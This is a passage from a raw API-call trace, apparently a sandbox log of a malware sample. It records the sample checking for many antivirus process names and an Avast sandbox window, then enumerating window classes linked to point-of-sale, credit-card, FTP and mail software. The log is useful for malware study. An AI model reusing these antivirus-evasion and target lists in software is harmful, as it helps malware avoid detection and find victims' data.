dwFlags=0x0, lpMem=0x261f740 | out: hHeap=0x25a0000) returned 1 [0239.183] lstrlenA (lpString="egui.exe") returned 8 [0239.183] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f850 | out: hHeap=0x25a0000) returned 1 [0239.183] lstrlenA (lpString="ekrn.exe") returned 8 [0239.183] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f868 | out: hHeap=0x25a0000) returned 1 [0239.183] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f840 | out: hHeap=0x25a0000) returned 1 [0239.183] lstrlenA (lpString="bdagent.exe") returned 11 [0239.183] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8b0 | out: hHeap=0x25a0000) returned 1 [0239.184] lstrlenA (lpString="vsserv.exe") returned 10 [0239.184] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8c8 | out: hHeap=0x25a0000) returned 1 [0239.184] lstrlenA (lpString="vsservppl.exe") returned 13 [0239.184] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8e0 | out: hHeap=0x25a0000) returned 1 [0239.184] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7f8 | out: hHeap=0x25a0000) returned 1 [0239.184] lstrlenA (lpString="AvastSvc.exe") returned 12 [0239.184] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8f8 | out: hHeap=0x25a0000) returned 1 [0239.184] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f898 | out: hHeap=0x25a0000) returned 1 [0239.184] lstrlenA (lpString="coreServiceShell.exe") returned 20 [0239.184] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f948 | out: hHeap=0x25a0000) returned 1 [0239.184] lstrlenA (lpString="PccNTMon.exe") returned 12 [0239.184] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f968 | out: hHeap=0x25a0000) returned 1 [0239.184] lstrlenA (lpString="NTRTScan.exe") returned 12 [0239.184] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f980 | out: hHeap=0x25a0000) returned 1 [0239.184] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f880 | out: hHeap=0x25a0000) returned 1 [0239.184] lstrlenA (lpString="SAVAdminService.exe") returned 19 [0239.184] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9a8 | out: hHeap=0x25a0000) returned 1 [0239.184] lstrlenA (lpString="SavService.exe") returned 14 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f998 | out: hHeap=0x25a0000) returned 1 [0239.185] lstrlenA (lpString="fshoster32.exe") returned 14 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0239.185] lstrlenA (lpString="WRSA.exe") returned 8 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f910 | out: hHeap=0x25a0000) returned 1 [0239.185] lstrlenA (lpString="vkise.exe") returned 9 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0239.185] lstrlenA (lpString="isesrv.exe") returned 10 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0239.185] lstrlenA (lpString="cmdagent.exe") returned 12 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0239.185] lstrlenA (lpString="ByteFence.exe") returned 13 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0239.185] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f920 | out: hHeap=0x25a0000) returned 1 [0239.185] lstrlenA (lpString="MBAMService.exe") returned 15 [0239.186] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0239.186] lstrlenA (lpString="mbamgui.exe") returned 11 [0239.186] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa98 | out: hHeap=0x25a0000) returned 1 [0239.186] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f930 | out: hHeap=0x25a0000) returned 1 [0239.186] lstrlenA (lpString="fmon.exe") returned 8 [0239.186] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0239.186] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a6b18 | out: hHeap=0x25a0000) returned 1 [0239.186] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f700 [0239.186] lstrlenA (lpString="snxhk_border_mywnd") returned 18 [0239.186] EnumWindows (lpEnumFunc=0x406934, lParam=0x19ff34) returned 1 [0239.187] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ForegroundStaging") returned 17 [0239.187] GetClassNameA (in: hWnd=0x10136, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ForegroundStaging") returned 17 [0239.187] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.187] GetClassNameA (in: hWnd=0x100d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.187] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.188] GetClassNameA (in: hWnd=0x100ce, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.188] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.188] GetClassNameA (in: hWnd=0x100b4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.188] GetClassNameA (in: hWnd=0x100a0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.188] GetClassNameA (in: hWnd=0x200f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.188] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.188] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.188] GetClassNameA (in: hWnd=0x10096, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Shell_TrayWnd") returned 13 [0239.188] GetClassNameA (in: hWnd=0x10220, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ATL:00007FF9CBC27230") returned 20 [0239.189] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.189] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0239.189] GetClassNameA (in: hWnd=0x2036a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ConsoleWindowClass") returned 18 [0239.189] GetClassNameA (in: hWnd=0x102f4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="lancasterwindow") returned 15 [0239.189] GetClassNameA (in: hWnd=0x6003e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Eossayswin") returned 10 [0239.190] GetClassNameA (in: hWnd=0x202ec, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="nv_Ambien_Sharp_") returned 16 [0239.190] GetClassNameA (in: hWnd=0x102e8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="utg2_cls") returned 8 [0239.190] GetClassNameA (in: hWnd=0x202e2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="spgagentservicewin") returned 18 [0239.190] GetClassNameA (in: hWnd=0x202e0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="spcwinclass") returned 11 [0239.190] GetClassNameA (in: hWnd=0x102dc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="omnipos_win") returned 11 [0239.190] GetClassNameA (in: hWnd=0x202d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="mxslipstream_app") returned 16 [0239.190] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="isspos_app") returned 10 [0239.191] GetClassNameA (in: hWnd=0x102d0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="fpos_win") returned 8 [0239.191] GetClassNameA (in: hWnd=0x102cc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="edcsvrwnd") returned 9 [0239.191] GetClassNameA (in: hWnd=0x102c8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="creditservicewnd") returned 16 [0239.191] GetClassNameA (in: hWnd=0x102c4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="centralcreditcardwindow") returned 23 [0239.191] GetClassNameA (in: hWnd=0x102c0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ccv_server_") returned 11 [0239.191] GetClassNameA (in: hWnd=0x102bc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="aldelocls") returned 9 [0239.192] GetClassNameA (in: hWnd=0x102b8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="afr38_win") returned 9 [0239.192] GetClassNameA (in: hWnd=0x102b4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="accupos_") returned 8 [0239.192] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="active-charge_win") returned 17 [0239.192] GetClassNameA (in: hWnd=0x102ac, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="yahoomessengercls") returned 17 [0239.192] GetClassNameA (in: hWnd=0x202a8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="winscp_cls") returned 10 [0239.192] GetClassNameA (in: hWnd=0x202a2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="whatsappapp") returned 11 [0239.192] GetClassNameA (in: hWnd=0x2029e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="webdrive") returned 8 [0239.193] GetClassNameA (in: hWnd=0x1029c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="trillian_app") returned 12 [0239.193] GetClassNameA (in: hWnd=0x20298, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="totalcmdwindow") returned 14 [0239.193] GetClassNameA (in: hWnd=0x20294, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="thunderbirdapp") returned 14 [0239.193] GetClassNameA (in: hWnd=0x10290, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="smartftp_cls") returned 12 [0239.193] GetClassNameA (in: hWnd=0x1028c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="skype_") returned 6 [0239.193] GetClassNameA (in: hWnd=0x10288, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="scriptftp_win") returned 13 [0239.193] GetClassNameA (in: hWnd=0x10284, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="pidgin") returned 6 [0239.193] GetClassNameA (in: hWnd=0x30280, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="outlookapp") returned 10 [0239.194] GetClassNameA (in: hWnd=0x3027c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="operamailwindow") returned 15 [0239.194] GetClassNameA (in: hWnd=0x30276, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="notepad_class") returned 13 [0239.194] GetClassNameA (in: hWnd=0x50258, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ncftp_class") returned 11 [0239.194] GetClassNameA (in: hWnd=0x50266, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="leechftpwnd") returned 11 [0239.194] GetClassNameA (in: hWnd=0x1026c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="icq_cls") returned 7 [0239.194] GetClassNameA (in: hWnd=0x20260, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="gmailnotifierprocls") returned 19 [0239.194] GetClassNameA (in: hWnd=0x2025a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="foxmailincmailwindow") returned 20 [0239.194] GetClassNameA (in: hWnd=0x4024c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="flingclass") returned 10 [0239.195] GetClassNameA (in: hWnd=0x20250, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="flashfxp_app") returned 12 [0239.195] GetClassNameA (in: hWnd=0x30242, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="filezilla_window") returned 16 [0239.195] GetClassNameA (in: hWnd=0x10246, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="farcls") returned 6 [0239.195] GetClassNameA (in: hWnd=0x3023c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="coreftpclass") returned 12 [0239.195] GetClassNameA (in: hWnd=0x3023a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="bitkinexcls") returned 11 [0239.195] GetClassNameA (in: hWnd=0x20236, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="barcaapp") returned 8 [0239.195] GetClassNameA (in: hWnd=0x20232, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="alftp_win") returned 9 [0239.195] GetClassNameA (in: hWnd=0x301ee, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="absolutetelnet_cls") returned 18 [0239.196] GetClassNameA (in: hWnd=0x5006c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="3dftpclass") returned 10 [0239.196] GetClassNameA (in: hWnd=0x30084, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PhrasesuniqueMemwnd") returned 19 [0239.196] GetClassNameA (in: hWnd=0x30086, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="parkersonicmetallicclass") returned 24 [0239.218] GetClassNameA (in: hWnd=0x3005a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Intellectualcleanerwnd") returned 22 [0239.218] GetClassNameA (in: hWnd=0x20058, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Systems_limitation_window") returned 25 [0239.218] GetClassNameA (in: hWnd=0x2006e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Tyler_wnd") returned 9 [0239.218] GetClassNameA (in: hWnd=0x20066, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="cinemaCountwindow") returned 17 [0239.218] GetClassNameA (in: hWnd=0x30056, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Canvas") returned 6 [0239.218] GetClassNameA (in: hWnd=0x8005e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="biblewindow") returned 11 [0239.218] GetClassNameA (in: hWnd=0x30190, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Teeth_cls") returned 9 [0239.218] GetClassNameA (in: hWnd=0x701be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="juryPhotographicRecommendwnd") returned 28 [0239.218] GetClassNameA (in: hWnd=0x50064, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="photo_wnd") returned 9 [0239.219] GetClassNameA (in: hWnd=0x70072, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="lawyers_cohen_Accomplish_cls") returned 28 [0239.219] GetClassNameA (in: hWnd=0x40168, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="CetAlgeriamunicipalwindow") returned 25 [0239.219] GetClassNameA (in: hWnd=0x30164, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="address_win") returned 11 [0239.219] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Narrative_Hosting_win") returned 21 [0239.219] GetClassNameA (in: hWnd=0x30114, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Technocls") returned 9 [0239.219] GetClassNameA (in: hWnd=0x30092, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ConcludedRochesterDiscussed") returned 27 [0239.220] GetClassNameA (in: hWnd=0x30090, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Physical_illustrated_er_class") returned 29 [0239.220] GetClassNameA (in: hWnd=0x30124, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Initiative_lab_Lindsay_cls") returned 26 [0239.220] GetClassNameA (in: hWnd=0x40134, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MakeObjectcls") returned 13 [0239.220] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0239.220] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PNIHiddenWnd") returned 12 [0239.220] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0239.220] GetClassNameA (in: hWnd=0x10218, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0239.220] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ATL:00007FF9D691E130") returned 20 [0239.220] GetClassNameA (in: hWnd=0x101da, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="SystemTray_Main") returned 15 [0239.221] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OleDdeWndClass") returned 14 [0239.221] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0239.221] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="TabletModeCoverWindow") returned 21 [0239.221] GetClassNameA (in: hWnd=0x501ba, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0239.221] GetClassNameA (in: hWnd=0x20326, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0239.221] GetClassNameA (in: hWnd=0x10152, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0239.221] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0239.221] GetClassNameA (in: hWnd=0x200a6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0239.221] GetClassNameA (in: hWnd=0x10132, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OleDdeWndClass") returned 14 [0239.221] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0239.222] GetClassNameA (in: hWnd=0x10126, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0239.222] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0239.222] GetClassNameA (in: hWnd=0x10118, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0239.222] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0239.222] GetClassNameA (in: hWnd=0x10102, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0239.222] GetClassNameA (in: hWnd=0x100ea, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0239.222] GetClassNameA (in: hWnd=0x2007a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0239.222] GetClassNameA (in: hWnd=0x100be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0239.222] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0239.222] GetClassNameA (in: hWnd=0x2003c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0239.222] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DDEMLEvent") returned 10 [0239.223] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DDEMLMom") returned 8 [0239.223] GetClassNameA (in: hWnd=0x10042, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Dwm") returned 3 [0239.223] GetClassNameA (in: hWnd=0x2007e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="CicLoaderWndClass") returned 17 [0239.223] GetClassNameA (in: hWnd=0x10104, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Progman") returned 7 [0239.223] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.223] GetClassNameA (in: hWnd=0x10100, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MSCTFIME UI") returned 11 [0239.223] GetClassNameA (in: hWnd=0x10098, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.223] GetClassNameA (in: hWnd=0x20370, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.223] GetClassNameA (in: hWnd=0x102f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.223] GetClassNameA (in: hWnd=0x102f6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.223] GetClassNameA (in: hWnd=0x102f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.223] GetClassNameA (in: hWnd=0x102ea, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x202e6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x102e4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x102de, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x202da, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x102d6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x102d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x202ce, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x202be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x202ba, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.224] GetClassNameA (in: hWnd=0x202b6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x202b2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x102ae, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x202aa, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x102a6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x102a4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x102a0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x2029a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x10296, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x10292, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x2028e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x2028a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x20286, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.225] GetClassNameA (in: hWnd=0x20282, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x50270, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x1027e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x20278, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x10272, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x1026a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x10264, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x10254, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x10248, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x20244, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.226] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.227] GetClassNameA (in: hWnd=0x10238, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.227] GetClassNameA (in: hWnd=0x10234, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.227] GetClassNameA (in: hWnd=0x401f4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.227] GetClassNameA (in: hWnd=0x401f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.227] GetClassNameA (in: hWnd=0x20080, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.227] GetClassNameA (in: hWnd=0x20082, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.227] GetClassNameA (in: hWnd=0x20078, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.228] GetClassNameA (in: hWnd=0x2005c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.228] GetClassNameA (in: hWnd=0x4007c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.228] GetClassNameA (in: hWnd=0x3006a, 